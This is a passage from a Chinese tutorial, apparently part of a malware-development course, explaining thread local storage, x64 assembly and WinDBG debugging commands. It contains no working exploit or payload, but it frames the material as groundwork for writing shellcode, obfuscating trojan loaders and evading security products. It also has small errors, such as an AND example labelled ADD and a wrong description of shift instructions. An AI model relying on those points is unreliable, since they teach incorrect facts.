线程本地存储 (TLS) 是一种机制,使得给定多线程进程中的每个线程都可以分配位置来存储线程特定的数据。TlsSlots 是一个包含 64 个指针的数组,可用于存储特定于线程的数据。如果应用需要存储线程特定的数据,则它可以使用这些槽位之一来存储指向该数据的指针。

 

TlsExpansionSlots

如果需要超过 64 个 TLS 槽位,系统会分配一组额外槽位,并且指向该数组的指针存储在 TlsExpansionSlots 中。

 

在 Windows 操作系统上,每个进程都有一个唯一的进程标识符 PID,这是操作系统在创建进程时分配的。同样的概念也适用于正在运行的线程,正在运行的线程也有着唯一的 ID 与其他的线程进行区分。

有了唯一的标识符后,分别可以用 OpenProcess 与 OpenThread 来获得进程或线程的句柄:

HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);
HANDLE OpenThread(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwThreadId
);

 

 

x64架构汇编

掌握汇编语言对于恶意软件开发有着很大的作用,例如可以编写自定义 Shellcode、在木马加载器中插入汇编代码以实现混淆以及底层的指令操作等。


基本概念

汇编语言是我们可以用来为给定 CPU 编写程序的最底层的编程语言,汇编可以被翻译为 CPU 操作码,即 CPU 可以直接执行的机器码。 通常,汇编指令与操作码具有 1:1 的关系,但在 C 等高级语言中情况并非如此,它们有多种方法将书面代码编译或转换为机器代码。接下来,我们分别来讨论汇编中设计的名词与概念。


字节顺序

字节顺序指的是数据在计算机内存中的存储方式。大端是指数据的最高有效字节 (最左端) 存储在低的内存地址中,最低有效位存储在高的内存地址中。字节顺序只适用于字节,而非

image.png

如上图所示,0x11223344 的 4 个字节 0x11,0x22,0x33,0x44 分别存储在由低往高的内存地址中。

小端则正好相反,如下图所示,0x11223344 的 4 个字节 0x11,0x22,0x33,0x44 分别存储在由高往低的内存地址中。

image.png

因为小段运用更多,请尝试理解下图:

image.png


有符号与无符号数字

如果存储一个无符号的数,那么我们不需要指定其正负符号,那么该数的范围为 0 到 2^64 -1 。但如果要存储一个有符号的数,因为要额外留出一位存储正负符号,那么该数的范围为 -2^63 2^63-1

计算一个数的负数形式,有 2 个步骤:翻转所有位,再加上 1。以 42 为例,过程如下:

42:    0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0010 1010
翻转:  1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1101 0101
加1:    1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1101 0110



CPU 寄存器

由于访问内存 (RAM) 对于 CPU 来说通常是一个缓慢的过程,因此处理器内总是包含许多寄存器,这些寄存器是处理器内部的小型存储位置,可以非常快速地访问数据。在 64 位 x64 处理器上,寄存器可以保存 64 位8 字节。 让我们分别查看一下如下的常用寄存器:

寄存器名称
作用
备注
RIP
指令寄存器,指向要被执行的下一条指令的地址 只读,不能拆分
RAX
累加寄存器,用于算术运算,I/O 操作,存储函数返回值等
通用寄存器。在 Windows syscall 中保存 SSN
RBX
基址寄存器,内存寻址时存放基址
通用寄存器
RCX
计数寄存器,常用于循环中的计数器
通用寄存器
RDX
数据寄存器,用于算数运算和 I/O 操作
通用寄存器
RSI
源索引,通常用作字符串操作中的输入字符串的指针
通用寄存器
RDI
目标索引,通常用作字符串操作中的输出字符串的指针
通用寄存器
RBP
栈帧指针,指向栈帧的基址,配合偏移定位变量
通用寄存器
RSP
栈指针,指向栈的顶部
通用寄存器
R8-R15
额外的通用寄存器
通用寄存器
RFLAGS
FLAG 寄存器,存储着一系列标志位,揭示操作的结果,例如两数的数值大小比较。

在 x64 处理器中,每个寄存器是 8 字节,但可以被分为更小的部分以及被直接引用。例如,RAX 的后 4 字节为 EAX,EAX 的后 2 字节为 AX 等,如下图所示。AH 与 AL 中的 A 与 H 分别表示 High 和 Low。RIP 不可被拆分。

image.png

寄存器 R8 也可以被类似的方式细分:

image.png

当我们使用后 32 位的时候,例如 EAX,那么前面的 32 位被全部填充了 0。但当我们使用后 8 或者 16 位的时候,却不是这样。

对于通用寄存器,各个部分的名称如下表所示:

64 位寄存器 低 32 位
低 16 位
低 8 位
rax eax ax al
rbx ebx bx bl
rcx ecx cx cl
rdx edx dx dl
rsi esi si sil
rdi edi di dil
rbp ebp bp bpl
rsp esp sp spl
r8 r8d r8w r8b
r9 r9d r9w r9b
r10 r10d r10w r10b
r11 r11d r11w r11b
r12 r12d r12w r12b
r13 r13d r13w r13b
r14 r14d r14w r14b
r15 r15d r15w r15b


以及讨论一下 RFLAGS 寄存器,该寄存器包含了一系列的标志位,每个标志位都有特定的含义,用于反映操作的结果,例如两数大小的比较。以下是一些最常见和重要的位:


标签
描述
0
CF
进位标志
2
PF
奇偶校验标志
6
ZF
零标志
7
SF
符号标志
11
OF
溢出标志

在计算机体系结构中,栈是一个自动增长与收缩内存区域,允许临时存储数据,其中数据以后进先出 (LIFO) 方式添加或删除。在大多数现代计算机系统中,每个线程都有一个保留的内存区域,即栈。栈与内存的分配、函数的调用息息相关,我们来了解一下栈的一些特性以及关联的名词概念:

增长方向:栈从上往下、由高地址往低地址增长

栈帧:当有函数被调用的时候,栈中的一片内存区域被划分为栈帧,包含了函数的局部变量函数参数返回地址等部分。每当新的函数被调用,会创建新的栈帧并且处于栈的最顶层。

参数传递:在 Windows x64 (Linux x64 下的调用约定与 Windows 的有所不同) 下的调用约定中,函数调用的前 4 个参数通常使用寄存器 RCX、RDX、R8、R9 来传递,如果参数超过 4 个,则剩余参数将在栈上传递。

参数归位:在 x64 Windows 调用约定中,前四个参数通过寄存器 RCX、RDX、R8、R9 传递,参数归位是指在函数调用开始时将这些寄存器参数复制到栈上的操作,这样做是为了允许被调用的函数修改这些值而不影响原始参数。即使函数的参数少于 4 个,4 个参数的空间依旧会在栈帧上被预留。

易失性寄存器:这些寄存器不会在函数调用之间保留,在 Windows x64 调用约定中,RAX、RCX、RDX、R8、R9、R10、R11 被视为易失性的。

非易失性寄存器:这些是在函数调用期间保留的寄存器。 在 Windows x64 调用约定中,RBX、RBP、RDI、RSI、RSP、R12、R13、R14、R15 被视为非易失性的,如果函数使用其中任何一个,它必须保存原始值并在函数返回之前恢复它。

函数序言:与 x86 调用约定不同,x64 fastcall 调用约定限制了在函数序言与尾声之间使用 PUSH/POP 指令,因此 RSP 是不变的。函数序言是函数的初始部分,为局部变量设置栈空间,为保存的寄存器值分配空间,调整栈指针。

函数尾声:函数中最后的用于执行清理任务的部分,撤消了函数序言部分的所做工作,即释放局部变量的栈空间,恢复保存的寄存器值,并将栈指针重置为调用之前的值。

函数调用:当函数被调用时,函数的返回地址将在参数传递后被压入栈 (当前的栈顶)。当函数执行完毕后,RIP 指向调用该函数指令的下一条指令。

局部变量:函数中的局部变量通常存储在栈中,处在比函数参数更高的地址处。当函数完成执行时,这些变量将从堆栈中删除。

栈指针 (RSP):该寄存器指向栈顶,因为栈向低地址方向增长,当有新的元素入栈,RSP 会指向内存更低的地址。相反,当有元素出栈后,RSP 会指向内存更高的地址。

栈帧指针 (RBP):该寄存器指向当前栈帧的基址,用于引用局部变量以及函数参数。但是在 x64 架构下,因为 RSP 是可预测的,所以主要使用 RSP 对局部变量以及函数参数进行引用。


综上,如果在函数 A 中调用函数 B,那么栈的结构如图所示:

image.png

数据尺寸

我们会接触到的常见数据类型以及所占字节数如下所示:

名称
字节数
BYTE
1
WORD
2
DWORD
4
QWORD
8



常见汇编指令

接下来,我们要做的就是了解与熟悉常见的汇编指令,这对于逆向工程、漏洞利用开发、Shellcode 编写、理解高级规避技术都会很有帮助。


MOV

MOV 是数据传送指令,用于将一个值传送到目的内存地址或者寄存器。我们可以将立即数赋给寄存器或内存地址,将一个寄存器中的值赋予另外一个寄存器,将寄存器中的值赋予到一个内存地址并且反之亦然。但是,我们不能直接在两个内存地址之间操作。一些常见用法如下:

MOV RAX, 1  // 将常数值1传递给RAX
MOV [RAX], 3  // 将3传递给RAX指向的内存地址
MOV RAX, RCX  //将RCX中的值传递给RAX
MOV [RDI], RAX  // 将RAX中的值传递给RDI指向的内存地址
MOV [RAX], RAX  // 将RAX中的值传递给RAX指向的内存地址
MOV RBX, [RDI + 0x10] // 将RDI加上10后的内存地址中的值传递给RBX


LEA

LEA 指令有些类似于 MOV,但是不会解引用内存地址,而是载入内存地址自身。

LEA RBX, [RCX + 0x10]    // RCX中的值加上10后,载入到RBX中
MOV RBX, [RCX + 0x10]    // RCX中的值加上10后作为内存地址,取出其中的传送到RBX
LEA RAX, [RCX + 2*RAX + 0x10]    // RCX + 2*EAX + 10的值载入到RAX中


PUSH/POP

PUSH 为入栈操作,POP 为出栈操作。但在 x64 中,因为有着更多寄存器、x64 调用约定、以及性能优化的原因,PUSH 和 POP 操作会比较少见。

PUSH RAX // 将RAX的值入栈
PUSH 1  // 将1入栈
POP RAX  // 出栈栈顶的值,赋予给RAX


INC/DEC/ADD/SUB/MUL/DIV

这些指令都用于算数运算,其中 INC 表示自增 1,DEC 为自减 1。ADD 为加法运算,SUB 为减法运算,加减运算是比较直接的。

MUL 为乘法运算,操作数 1 保存在 RAX 中,并且因为两数相乘,数量级可能有所变化导致 RAX 不够存放结果,因此结果保存在 RDX:RAX 这两个寄存器中。例如 MUL RBX 指令,当 RAX 为 5,RBX 为 4 时,RAX 存放的数值为 20,RDX 中的值为 0。

DIV 为除法运算,被除数被存储于 RDX:RAX 中,除数为跟着 DIV 的操作数,保存在 RAX 中,余数保存在 RDX 中。例如 DIV RBX 指令,其中 RDX 为0,RAX 为 20,那么被除数为 20。RBX 为 4,计算结果 RAX 为 5,RDX 为 0。

对于乘除运算,我们需要在运算前提前给参与运算的寄存器赋值。

INC RAX    // RAX 自增1
INC BYTE [RAX]    // RAX所指向的内存地址中的字节值增加1
ADD RAX, RAX   // RAX = RAX + RAX
ADD RCX, 4    // RCX = RCX + 4
ADD DWORD [RSP], RAX    // memory[RSP] = memory[RSP] + RAX
SUB RAX, RDX    // RAX = RAX - RDX
SUB RBX, 0x10    // RBX = RBX - 0x10
MUL RCX    // RDX:RAX = RAX * RCX
MUL DWORD [RDX]    // RDX:RAX = RAX * memory[RDX]
DIV RCX    // RDX:RAX/RCX=RAX···RDX


NEG

NEG 即对操作数取负值。如果操作数是正的,那么结果为负值,反之则为正值。该指令在漏洞利用开发中可以用来避免 0x00 字节。

NEG RAX  // RAX = -RAX

AND/OR/XOR/NOT

这组指令都是位运算,在下面我们分别罗列了这些运算的所有可能性:

0 AND 0 = 0
0 AND 1 = 0
1 AND 0 = 0
1 AND 1 = 1

0 OR 0 = 0
0 OR 1 = 1
1 OR 0 = 1
1 OR 1 = 1

0 XOR 0 = 0
0 XOR 1 = 1
1 XOR 0 = 1
1 XOR 1 = 0

NOT 0 = 1
NOT 1 = 0

除了 NOT 只有一个操作数外,其他指令都有着 2 个操作数,把两个操作数的每个位依次按位运算,得到最终结果。我们以 ADD RAX, RCX 为例,计算过程如下所示:

RAX = 0000 0000 0000 0000 0000 0000 0000 0000 0110 0110 0110 0110 0110 0110 0110 0110 
RCX = 0000 0000 0000 0000 0000 0000 0000 0000 0011 0011 0011 0011 0011 0011 0011 0011 
-------------------------------------------------------------------------------------
RAX = 0000 0000 0000 0000 0000 0000 0000 0000 0010 0010 0010 0010 0010 0010 0010 0010 

一些计算案例如下:

AND RAX, RCX  ; RAX = RAX and RCX
XOR RAX, RAX  ; RAX = RAX xor RAX (=0)
NOT RCX       ; RCX = not RCX
AND RCX, 0x11 ; RCX = RCX and 0x11

CALL/RET/JMP

这组指令与控制流相关。JMP 会无条件地将 RIP 重定向到新的内存区域并让执行继续,最基本的 JMP 可以跳到指定的内存地址,或者进行相对跳跃,例如跳 4 个字节。JMP 指令不会与栈进行交互。

CALL 的语法类似于 JMP,但是会把下一条指令的地址入栈,这个地址就是返回地址。当函数执行完毕后,也就是 RET 指令被执行后,返回地址出栈,并且 RIP 指向该地址。通常来说,CALL 与 RET 成对使用使得函数的调用以及返回正常执行。

TEST/CMP/JXX

这组指令用于进行比较以及条件跳跃,可以实现 if-else 分支以及循环。TEST 和 CMP 都可以用于比较,TEST 指令对两个操作数进行按位 AND 运算,但不存储运算结果,它仅根据运算结果更改 RFLAGS 寄存器中的特定标志位。如果结果为 0,则设置 ZF 为 1。TEST 指令通常用于判断特定的寄存器或者内存地址是 0,并且 JZ /JNZ 经常紧随其后。例如指令 TEST RAX, RAX 用于判断 RAX 存储的数值是否为 0。

CMP 指令对两个操作数执行减法运算,但与 TEST 一样,它不存储运算结果,而是根据减法的结果设置 RFLAGS 寄存器的特定标志位,如果两数相等,ZF 设置为 1。根据比较的结果,随后可能跟随 Jxx 指令决定条件跳转。例如,CMP RAX、RBX 将从 RAX 中的值减去 RBX 中的值,并根据结果设置标志。

根据结果是无符号有符号,Jxx 指令列表如下所示:

对于无符号数字的操作
JE/JZ     相等/为0时跳转
JNE/JNZ   不相等/不为0时跳转     
JA/JNBE   高于/不低于/等于时跳转   
JAE/JNB   高于或等于/不低于时跳转  
JB/JNAE   低于/不高于或等于时跳转     
JBE/JNA   低于或等于/不高于时跳转     

对于有符号数字的操作
JE/JZ     相等/为0时跳转
JNE/JNZ   不相等或不为0时跳转  
JG/JNLE   大于/不小于或等于时跳转    
JGE/JNL   大于或等于/不小于时跳转     
JL/JNGE   小于/不大于或等于时跳转     
JLE/JNG   小于或等于/不大于时跳转     

SAL/SAR/SHL/SHR

这组运算为移位运算。SAL 表示算术左移,而 SAR 为算术右移。前者将寄存器或内存位置中的位向左移动 1 位,而后者将其向右移动,此运算相当于分别乘以或除以 2^n。

SHL 表示逻辑左移,只是 SAL 的另一个名称,然而,SHR 和 SAR 还是略有不同,后者保留符号位 (最高有效位),因此这不会改变。SAR 应该用于有符号操作。

这些指令都采用 2 个操作数,分别为移位的目标以及要移位的位数。

假设 RAX 为 0xFF,我们执行 SHL RAX, 3 指令。

RAX
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 1111 1111

SHL RAX, 3
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0111 1111 1000

如果移动的位数过多,我们会失去部分位,例如 SHL RAX, 56

1111 1000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000

而 SHL/SHR 只是 SAL/SAR 反方向版本。


ROL/ROR

ROL/ROR 与移位运算很相似,但并不会出现位丢失的情况,被“挤”出去的位会插入到另外一端。

╭───────────────╮
1 0 0 0 1 0 0 0 |
 / / / / / / /  |
0 0 0 1 0 0 0 1─╯


REP/STOS/SCAS

这组指令经常与字符串操作相关。STOS 指令表示存储字符串,它将在内存位置存储 BYTE、WORD、DWORD 或 QWORD,指令设置的值可以是任何值,因此它不必是有效的字符串字符。目标内存地址存储在 RDI 中,要设置的值存储在 RAX 中。设置内存后,RDI 将增加存储的字节数,即如果存储 1 个字节,RDI 将增加 1,如果存储 QWORD,RDI 将增加 8。

STOS 通常与 REP 前缀一起使用,这将导致 CPU 重复 STOS 指令 RCX 次。每次重复时 RCX 都会减 1,直到达到 0。REP STOS 组合通常用于 memset 操作,它将内存范围设置为某个值。由于该指令使用多个寄存器,我们需要提前设置 RAX、RDI 和 RCX 中存储的值。

SCAS 指令用于将字符串或字节与累加器寄存器 (AL、AX、EAX 或 RAX) 进行比较,它从源操作数中减去目标操作数并相应地设置标志,但不保存结果。如果方向标志位 DF 被设置,它会自动递减 RDI。SCAS 通常也与 REPE 前缀一起使用,用于在字符串中搜索给定的字节或字节序列。



总结

以上,我们讲了x64 汇编所需的前置理论基础,以及常见汇编指令。我们在逆向工程以及漏洞利用开发的过程中还会遇到其他的指令,在掌握了前置理论的基础上,配合阅读文档以及网络搜索,很快也能知道它们的作用并灵活运用。


使用 WinDBG 调试

在这小节,我们将学习调试程序的技能,这对于恶意软件开发领域有这些帮助:理解当下的恶意软件的技术、功能、原理分析恶意软件并且改进,开发漏洞利用以及 Shellcode理解安全产品的原理以规避检测等

我们将主要使用 WinDBG 作为动态调试工具,WinDBG 可以在微软商店中获取:

image.png

调试器是插入在目标应用程序和 CPU 之间的计算机程序,充当类似代理的角色。使用调试器使我们能够查看应用程序的内存和执行流程并与之交互。接下来的课程内容中,我们将与用户模式交互。

CPU以二进制级别处理代码,这对人类来说很难阅读和理解,而汇编语言引入了二进制内容和编程语言之间的一对一映射。尽管汇编语言应该是人类可读的,但它仍然是一种低级语言,并且需要时间来掌握。 操作码是由 CPU 解释为特定指令的二进制序列,这在调试器中显示为十六进制值以及汇编语言的翻译。

自定义界面

为了能有一个舒适的调试环境,我们可以对 WinDBG 的界面进行自定义,这样当我们调试应用程序的时候,可以在用户界面中查看到所需的信息,例如内存汇编代码断点信息等。

在导航栏中选中 View,我们可以添加多个窗口,这里面对我们调试过程会十分有帮助的有 WinDBG 命令 (Command)寄存器 (Registers)内存 (Memory)栈 (Stack)汇编代码 (Disassembly)

image.png点中之后,对应的窗口会浮现出来,可以使其与 WinDBG 主窗口相互独立,也可以将其嵌入至 WinDBG 主窗口,我会更推荐将它们嵌入至主窗口。不过因为主窗口空间有限,如果添加的窗口数量过多,也会影响我们对信息的提取效率,诸如模块 (Module)、断点 (Breakpoints) 等窗口我们不一定要添加到主页面,而是通过 WinDBG 的命令来查看相关信息。

下图是个人偏好的一个界面布局,你们可能注意到我添加了 2 个内存窗口,因为我们还想查看 RSP 的状态。

image.png

当我们想要调试一个进程或者应用的时候,可以选择使用 WinDBG 启动目标程序,或者附加到正常运行的进程中。

image.png

附加上之后,进程会自动被设置一个软件断点,对应的汇编指令为 int 3

image.png

我们可以执行 WinDBG 命令 g 来继续执行。

image.png

在进入对 WinDBG 基本命令的学习之前,我们还需要知道调试符号。符号 (Symbol) 文件允许 WinDbg 使用名称而不是地址来引用内部函数结构体全局变量。例如,我们想给 kernelbase.dll 中的 CreateProcessA 函数设置软件断点,我们不需要先得到载入的 kernelbase.dll 中的 CreateProcessA 函数的地址,使用名称即可,命令为 bp kernelbase!CreateProcessA。在后面,我们也可以用符号来查看一些结构体。

符号文件以 .pdb 为拓展名,当应用程序的 pdb 与 PE 文件在同一目录下,符号文件会被自动载入从而识别应用程序中的符号。

image.png

这样,我们可以使用 process_calc!Main 来定位到 process_calc.exe 程序中的 Main 函数。

image.png



伪寄存器

除了 rsp, rip 等处理器寄存器外,在 WinDBG,还支持伪寄存器。WinDbg 中的伪寄存器不是实际的处理器寄存器,而是调试器本身提供的结构,允许我们快速方便地访问某些常用信息,而无需手动计算地址或使用较长的命令序列。我们会经常用到的伪寄存器有 $peb$teb$ip ,分别代表当前进程的 PEB当前线程的 TEB,当前的指令寄存器

0:000> r $peb
$peb=0000005c12c6f000
0:000> r $teb
$teb=0000005c12c70000
0:000> r $ip
$ip=00007ffb80a4cea4



基本命令

有了对 WinDBG 的初始了解以及配置了最适合自己的界面布局后,我们来学习 WinDBG 的基本常用命令。WinDBG 内置的命令数量十分庞大,并且考虑到该小节的内容是作为恶意软件开发的前置知识,因此我们不会过于深入。接下来,我们依次介绍以下这些常用命令。


反汇编

在 WinDBG 中,使用命令 u <内存地址> 来检视给定内存地址的汇编代码。例如,我们可以查看 user32.dll 中的 MessageBoxA 函数的汇编实现:

0:000> u user32!messageboxa
USER32!MessageBoxA:
00007ffb`7e9a7a90 4883ec38        sub     rsp,38h
00007ffb`7e9a7a94 4533db          xor     r11d,r11d
00007ffb`7e9a7a97 44391dcaf70300  cmp     dword ptr [USER32!gfEMIEnable (00007ffb`7e9e7268)],r11d
00007ffb`7e9a7a9e 742e            je      USER32!MessageBoxA+0x3e (00007ffb`7e9a7ace)
00007ffb`7e9a7aa0 65488b042530000000 mov   rax,qword ptr gs:[30h]
00007ffb`7e9a7aa9 4c8b5048        mov     r10,qword ptr [rax+48h]
00007ffb`7e9a7aad 33c0            xor     eax,eax

对于内存地址,可以是符号、内存地址、寄存器的形式,只要是合法的内存地址。可以通过 l* 来指定显示的行数。

0:000> u 00007ffb`7e9a7a90 l3
USER32!MessageBoxA:
00007ffb`7e9a7a90 4883ec38        sub     rsp,38h
00007ffb`7e9a7a94 4533db          xor     r11d,r11d
00007ffb`7e9a7a97 44391dcaf70300  cmp     dword ptr [USER32!gfEMIEnable (00007ffb`7e9e7268)],r11d


读取内存

我们可以使用命令 d* <内存地址> 来读取给定内存地址,星号可以是不同的数据类型,例如 byteword,dword 等。我们可以在微软文档 https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/d--da--db--dc--dd--dd--df--dp--dq--du--dw--dw--dyb--dyd--display-memor 中了解更加详细的用法。

0:000> dd rip
00007ffb`80a4cea4  4800ebcc c338c483 cccccccc cccccccc
00007ffb`80a4ceb4  245c8948 74894810 57551824 8d485641
00007ffb`80a4cec4  ff0024ac 8148ffff 000200ec 058b4800
00007ffb`80a4ced4  000bf648 48c43348 00f08589 8b4c0000
00007ffb`80a4cee4  0bc32705 058d4800 0005afe0 8948ff33
00007ffb`80a4cef4  c7502444 16482444 48001800 7024448d
00007ffb`80a4cf04  24448948 f18b4868 602444c7 01000000
00007ffb`80a4cf14  0100be41 89660000 4d70247c 2b74c085
0:000> db rip
00007ffb`80a4cea4  cc eb 00 48 83 c4 38 c3-cc cc cc cc cc cc cc cc  ...H..8.........
00007ffb`80a4ceb4  48 89 5c 24 10 48 89 74-24 18 55 57 41 56 48 8d  H.\$.H.t$.UWAVH.
00007ffb`80a4cec4  ac 24 00 ff ff ff 48 81-ec 00 02 00 00 48 8b 05  .$....H......H..
00007ffb`80a4ced4  48 f6 0b 00 48 33 c4 48-89 85 f0 00 00 00 4c 8b  H...H3.H......L.
00007ffb`80a4cee4  05 27 c3 0b 00 48 8d 05-e0 af 05 00 33 ff 48 89  .'...H......3.H.
00007ffb`80a4cef4  44 24 50 c7 44 24 48 16-00 18 00 48 8d 44 24 70  D$P.D$H....H.D$p
00007ffb`80a4cf04  48 89 44 24 68 48 8b f1-c7 44 24 60 00 00 00 01  H.D$hH...D$`....
00007ffb`80a4cf14  41 be 00 01 00 00 66 89-7c 24 70 4d 85 c0 74 2b  A.....f.|$pM..t+
0:000> dw rip
00007ffb`80a4cea4  ebcc 4800 c483 c338 cccc cccc cccc cccc
00007ffb`80a4ceb4  8948 245c 4810 7489 1824 5755 5641 8d48
00007ffb`80a4cec4  24ac ff00 ffff 8148 00ec 0002 4800 058b
00007ffb`80a4ced4  f648 000b 3348 48c4 8589 00f0 0000 8b4c
00007ffb`80a4cee4  2705 0bc3 4800 058d afe0 0005 ff33 8948
00007ffb`80a4cef4  2444 c750 2444 1648 1800 4800 448d 7024
00007ffb`80a4cf04  8948 2444 4868 f18b 44c7 6024 0000 0100
00007ffb`80a4cf14  be41 0100 0000 8966 247c 4d70 c085 2b74


读取结构体

我们可以使用 dt <结构体名称> 命令来显示结构体的结构,当然了,读取结构体需要符号文件的载入。在之前的小节,我们讲了 PEB 和 TEB,那么我们在 WinDBG 中查看一下 PEB 的结构吧。其中,使用 -r 选项可以递归地展示成员,因为结构体的成员也可能是结构体。

0:000> dt ntdll!_peb
   +0x000 InheritedAddressSpace : UChar
   +0x001 ReadImageFileExecOptions : UChar
   +0x002 BeingDebugged    : UChar
   +0x003 BitField         : UChar
   +0x003 ImageUsesLargePages : Pos 0, 1 Bit
   +0x003 IsProtectedProcess : Pos 1, 1 Bit
   +0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit
   +0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit
   +0x003 IsPackagedProcess : Pos 4, 1 Bit
   +0x003 IsAppContainer   : Pos 5, 1 Bit
   +0x003 IsProtectedProcessLight : Pos 6, 1 Bit
   +0x003 IsLongPathAwareProcess : Pos 7, 1 Bit
   +0x004 Padding0         : [4] UChar
   +0x008 Mutant           : Ptr64 Void
   +0x010 ImageBaseAddress : Ptr64 Void
   +0x018 Ldr              : Ptr64 _PEB_LDR_DATA
   +0x020 ProcessParameters : Ptr64 _RTL_USER_PROCESS_PARAMETERS
............
   +0x7ac CloudFileDiagFlags : Uint4B
   +0x7b0 PlaceholderCompatibilityMode : Char
   +0x7b1 PlaceholderCompatibilityModeReserved : [7] Char
   +0x7b8 LeapSecondData   : Ptr64 _LEAP_SECOND_DATA
   +0x7c0 LeapSecondFlags  : Uint4B
   +0x7c0 SixtySecondEnabled : Pos 0, 1 Bit
   +0x7c0 Reserved         : Pos 1, 31 Bits
   +0x7c4 NtGlobalFlag2    : Uint4B
   +0x7c8 ExtendedFeatureDisableMask : Uint8B
0:000> dt -r ntdll!_peb
   +0x000 InheritedAddressSpace : UChar
   +0x001 ReadImageFileExecOptions : UChar
   +0x002 BeingDebugged    : UChar
   +0x003 BitField         : UChar
   +0x003 ImageUsesLargePages : Pos 0, 1 Bit
   +0x003 IsProtectedProcess : Pos 1, 1 Bit
   +0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit
   +0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit
   +0x003 IsPackagedProcess : Pos 4, 1 Bit
   +0x003 IsAppContainer   : Pos 5, 1 Bit
   +0x003 IsProtectedProcessLight : Pos 6, 1 Bit
   +0x003 IsLongPathAwareProcess : Pos 7, 1 Bit
   +0x004 Padding0         : [4] UChar
   +0x008 Mutant           : Ptr64 Void
   +0x010 ImageBaseAddress : Ptr64 Void
   +0x018 Ldr              : Ptr64 _PEB_LDR_DATA
      +0x000 Length           : Uint4B
      +0x004 Initialized      : UChar
      +0x008 SsHandle         : Ptr64 Void
      +0x010 InLoadOrderModuleList : _LIST_ENTRY
         +0x000 Flink            : Ptr64 _LIST_ENTRY
         +0x008 Blink            : Ptr64 _LIST_ENTRY
      +0x020 InMemoryOrderModuleList : _LIST_ENTRY
         +0x000 Flink            : Ptr64 _LIST_ENTRY
         +0x008 Blink            : Ptr64 _LIST_ENTRY
      +0x030 InInitializationOrderModuleList : _LIST_ENTRY
         +0x000 Flink            : Ptr64 _LIST_ENTRY
         +0x008 Blink            : Ptr64 _LIST_ENTRY
      +0x040 EntryInProgress  : Ptr64 Void
      +0x048 ShutdownInProgress : UChar
      +0x050 ShutdownThreadId : Ptr64 Void
............
   +0x34e OemCodePage      : Uint2B
   +0x350 UseCaseMapping   : Uint2B
   +0x352 UnusedNlsField   : Uint2B
   +0x358 WerRegistrationData : Ptr64 Void
   +0x360 WerShipAssertPtr : Ptr64 Void
   +0x368 EcCodeBitMap     : Ptr64 Void
   +0x370 pImageHeaderHash : Ptr64 Void
   +0x378 TracingFlags     : Uint4B
   +0x378 HeapTracingEnabled : Pos 0, 1 Bit
   +0x378 CritSecTracingEnabled : Pos 1, 1 Bit
   +0x378 LibLoaderTracingEnabled : Pos 2, 1 Bit
   +0x378 SpareTracingBits : Pos 3, 29 Bits
   +0x37c Padding6         : [4] UChar
   +0x380 CsrServerReadOnlySharedMemoryBase : Uint8B
   +0x388 TppWorkerpListLock : Uint8B
   +0x390 TppWorkerpList   : _LIST_ENTRY
      +0x000 Flink            : Ptr64 _LIST_ENTRY
         +0x000 Flink            : Ptr64 _LIST_ENTRY
         +0x008 Blink            : Ptr64 _LIST_ENTRY
      +0x008 Blink            : Ptr64 _LIST_ENTRY
         +0x000 Flink            : Ptr64 _LIST_ENTRY
         +0x008 Blink            : Ptr64 _LIST_ENTRY
   +0x3a0 WaitOnAddressHashTable : [128] Ptr64 Void
   +0x7a0 TelemetryCoverageHeader : Ptr64 Void
   +0x7a8 CloudFileFlags   : Uint4B
   +0x7ac CloudFileDiagFlags : Uint4B
   +0x7b0 PlaceholderCompatibilityMode : Char
   +0x7b1 PlaceholderCompatibilityModeReserved : [7] Char
   +0x7b8 LeapSecondData   : Ptr64 _LEAP_SECOND_DATA
      +0x000 Enabled          : UChar
      +0x004 Count            : Uint4B
      +0x008 Data             : [1] _LARGE_INTEGER
         +0x000 LowPart          : Uint4B
         +0x004 HighPart         : Int4B
         +0x000 u                : <unnamed-tag>
         +0x000 QuadPart         : Int8B
   +0x7c0 LeapSecondFlags  : Uint4B
   +0x7c0 SixtySecondEnabled : Pos 0, 1 Bit
   +0x7c0 Reserved         : Pos 1, 31 Bits
   +0x7c4 NtGlobalFlag2    : Uint4B
   +0x7c8 ExtendedFeatureDisableMask : Uint8B

我们还可以使用 WinDBG 检视给定内存区域的结构体数据、查看结构体中的成员、显示结构体的尺寸。

0:000> dt ntdll!_peb @$peb
   +0x000 InheritedAddressSpace : 0 ''
   +0x001 ReadImageFileExecOptions : 0 ''
   +0x002 BeingDebugged    : 0x1 ''
   +0x003 BitField         : 0x4 ''
   +0x003 ImageUsesLargePages : 0y0
   +0x003 IsProtectedProcess : 0y0
   +0x003 IsImageDynamicallyRelocated : 0y1
   +0x003 SkipPatchingUser32Forwarders : 0y0
   +0x003 IsPackagedProcess : 0y0
   +0x003 IsAppContainer   : 0y0
   +0x003 IsProtectedProcessLight : 0y0
   +0x003 IsLongPathAwareProcess : 0y0
   +0x004 Padding0         : [4]  ""
   +0x008 Mutant           : 0xffffffff`ffffffff Void
   +0x010 ImageBaseAddress : 0x00007ff6`4ba90000 Void
   +0x018 Ldr              : 0x00007ffb`80af4380 _PEB_LDR_DATA
   +0x020 ProcessParameters : 0x00000200`bdb86990 _RTL_USER_PROCESS_PARAMETERS
............
   +0x7c4 NtGlobalFlag2    : 0
   +0x7c8 ExtendedFeatureDisableMask : 0
0:000> dt ntdll!_peb @$peb ProcessParameters
   +0x020 ProcessParameters : 0x00000200`bdb86990 _RTL_USER_PROCESS_PARAMETERS
0:000> ?? sizeof(ntdll!_PEB)
unsigned int64 0x7d0



修改和写入内存

我们可以使用命令 e* 对给定内存地址进行数据写入或修改,星号为数据的类型。

0:000> dd rsp l1
0000005c`12a9ef80  00000000
0:000> ed rsp 41414141
0:000> dd rsp l1
